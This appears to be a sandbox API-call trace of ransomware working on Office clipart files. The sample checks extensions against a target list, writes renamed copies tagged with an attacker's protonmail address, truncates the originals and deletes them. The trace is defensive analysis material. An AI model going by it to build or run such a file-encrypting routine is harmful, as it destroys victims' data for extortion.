	[0083.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.626] lstrlenW (lpString=".jpg") returned 4
	[0083.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.627] lstrlenW (lpString=".doc") returned 4
	[0083.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString=".docx") returned 5
	[0083.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.627] lstrlenW (lpString=".pdf") returned 4
	[0083.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString=".xls") returned 4
	[0083.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.627] lstrlenW (lpString=".xlsx") returned 5
	[0083.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.627] lstrlenW (lpString=".ppt") returned 4
	[0083.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.627] lstrlenW (lpString=".zip") returned 4
	[0083.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.627] lstrlenW (lpString=".rar") returned 4
	[0083.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString=".bz2") returned 4
	[0083.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString=".7z") returned 3
	[0083.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.627] lstrlenW (lpString=".dbf") returned 4
	[0083.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.627] lstrlenW (lpString=".1cd") returned 4
	[0083.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.627] lstrlenW (lpString=".jpg") returned 4
	[0083.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.628] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.628] lstrlenW (lpString="DD00449_.WMF") returned 12
	[0083.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.628] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=9992) returned 1
	[0083.628] CloseHandle (hObject=0x38c) returned 1
	[0083.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220
	[0083.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.628] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.628] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.629] GetLastError () returned 0x0
	[0083.629] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2708, lpOverlapped=0x0) returned 1
	[0083.637] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2710, lpOverlapped=0x0) returned 1
	[0083.638] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.638] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.638] SetEndOfFile (hFile=0x384) returned 1
	[0083.639] CloseHandle (hObject=0x384) returned 1
	[0083.639] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.639] SetEndOfFile (hFile=0x38c) returned 1
	[0083.640] CloseHandle (hObject=0x38c) returned 1
	[0083.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1
	[0083.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.640] lstrlenW (lpString=".doc") returned 4
	[0083.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.640] lstrlenW (lpString=".docx") returned 5
	[0083.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.640] lstrlenW (lpString=".pdf") returned 4
	[0083.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.640] lstrlenW (lpString=".xls") returned 4
	[0083.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.640] lstrlenW (lpString=".xlsx") returned 5
	[0083.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.640] lstrlenW (lpString=".ppt") returned 4
	[0083.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.640] lstrlenW (lpString=".zip") returned 4
	[0083.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.641] lstrlenW (lpString=".rar") returned 4
	[0083.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString=".bz2") returned 4
	[0083.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString=".7z") returned 3
	[0083.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.641] lstrlenW (lpString=".dbf") returned 4
	[0083.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.641] lstrlenW (lpString=".1cd") returned 4
	[0083.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.641] lstrlenW (lpString=".jpg") returned 4
	[0083.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.641] lstrlenW (lpString=".doc") returned 4
	[0083.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString=".docx") returned 5
	[0083.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.641] lstrlenW (lpString=".pdf") returned 4
	[0083.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString=".xls") returned 4
	[0083.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.641] lstrlenW (lpString=".xlsx") returned 5
	[0083.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.641] lstrlenW (lpString=".ppt") returned 4
	[0083.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0083.641] lstrlenW (lpString=".zip") returned 4
	[0083.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.642] lstrlenW (lpString=".rar") returned 4
	[0083.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.287] lstrlenW (lpString=".bz2") returned 4
	[0084.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.287] lstrlenW (lpString=".7z") returned 3
	[0084.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0084.288] lstrlenW (lpString=".dbf") returned 4
	[0084.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0084.288] lstrlenW (lpString=".1cd") returned 4
	[0084.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68
	[0084.288] lstrlenW (lpString=".jpg") returned 4
	[0084.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.288] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.288] lstrlenW (lpString="DD01151_.WMF") returned 12
	[0084.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.288] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2960) returned 1
	[0084.288] CloseHandle (hObject=0x384) returned 1
	[0084.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220
	[0084.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.289] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.289] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.289] GetLastError () returned 0x0
	[0084.289] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xb90, lpOverlapped=0x0) returned 1
	[0084.291] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0084.292] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.292] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.292] SetEndOfFile (hFile=0x37c) returned 1
	[0084.292] CloseHandle (hObject=0x37c) returned 1
	[0084.292] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.292] SetEndOfFile (hFile=0x384) returned 1
	[0084.293] CloseHandle (hObject=0x384) returned 1
	[0084.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1
	[0084.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.293] lstrlenW (lpString=".doc") returned 4
	[0084.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.293] lstrlenW (lpString=".docx") returned 5
	[0084.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.293] lstrlenW (lpString=".pdf") returned 4
	[0084.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.293] lstrlenW (lpString=".xls") returned 4
	[0084.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.293] lstrlenW (lpString=".xlsx") returned 5
	[0084.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.294] lstrlenW (lpString=".ppt") returned 4
	[0084.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.294] lstrlenW (lpString=".zip") returned 4
	[0084.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.294] lstrlenW (lpString=".rar") returned 4
	[0084.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString=".bz2") returned 4
	[0084.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString=".7z") returned 3
	[0084.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.294] lstrlenW (lpString=".dbf") returned 4
	[0084.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.294] lstrlenW (lpString=".1cd") returned 4
	[0084.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.294] lstrlenW (lpString=".jpg") returned 4
	[0084.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.294] lstrlenW (lpString=".doc") returned 4
	[0084.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString=".docx") returned 5
	[0084.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.294] lstrlenW (lpString=".pdf") returned 4
	[0084.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.294] lstrlenW (lpString=".xls") returned 4
	[0084.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.294] lstrlenW (lpString=".xlsx") returned 5
	[0084.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.295] lstrlenW (lpString=".ppt") returned 4
	[0084.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.295] lstrlenW (lpString=".zip") returned 4
	[0084.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.295] lstrlenW (lpString=".rar") returned 4
	[0084.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.295] lstrlenW (lpString=".bz2") returned 4
	[0084.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.295] lstrlenW (lpString=".7z") returned 3
	[0084.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.295] lstrlenW (lpString=".dbf") returned 4
	[0084.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.295] lstrlenW (lpString=".1cd") returned 4
	[0084.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0084.295] lstrlenW (lpString=".jpg") returned 4
	[0084.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.295] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.295] lstrlenW (lpString="DD01152_.WMF") returned 12
	[0084.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.296] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2960) returned 1
	[0084.296] CloseHandle (hObject=0x384) returned 1
	[0084.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220
	[0084.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.296] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.296] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.296] GetLastError () returned 0x0
	[0084.296] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xb90, lpOverlapped=0x0) returned 1
	[0084.298] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0084.299] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.299] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.300] SetEndOfFile (hFile=0x37c) returned 1
	[0084.300] CloseHandle (hObject=0x37c) returned 1
	[0084.300] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.300] SetEndOfFile (hFile=0x384) returned 1
	[0084.301] CloseHandle (hObject=0x384) returned 1
	[0084.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1
	[0084.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.301] lstrlenW (lpString=".doc") returned 4
	[0084.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.301] lstrlenW (lpString=".docx") returned 5
	[0084.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.301] lstrlenW (lpString=".pdf") returned 4
	[0084.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.301] lstrlenW (lpString=".xls") returned 4
	[0084.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.301] lstrlenW (lpString=".xlsx") returned 5
	[0084.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.302] lstrlenW (lpString=".ppt") returned 4
	[0084.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.302] lstrlenW (lpString=".zip") returned 4
	[0084.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.302] lstrlenW (lpString=".rar") returned 4
	[0084.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString=".bz2") returned 4
	[0084.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString=".7z") returned 3
	[0084.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.302] lstrlenW (lpString=".dbf") returned 4
	[0084.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.302] lstrlenW (lpString=".1cd") returned 4
	[0084.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
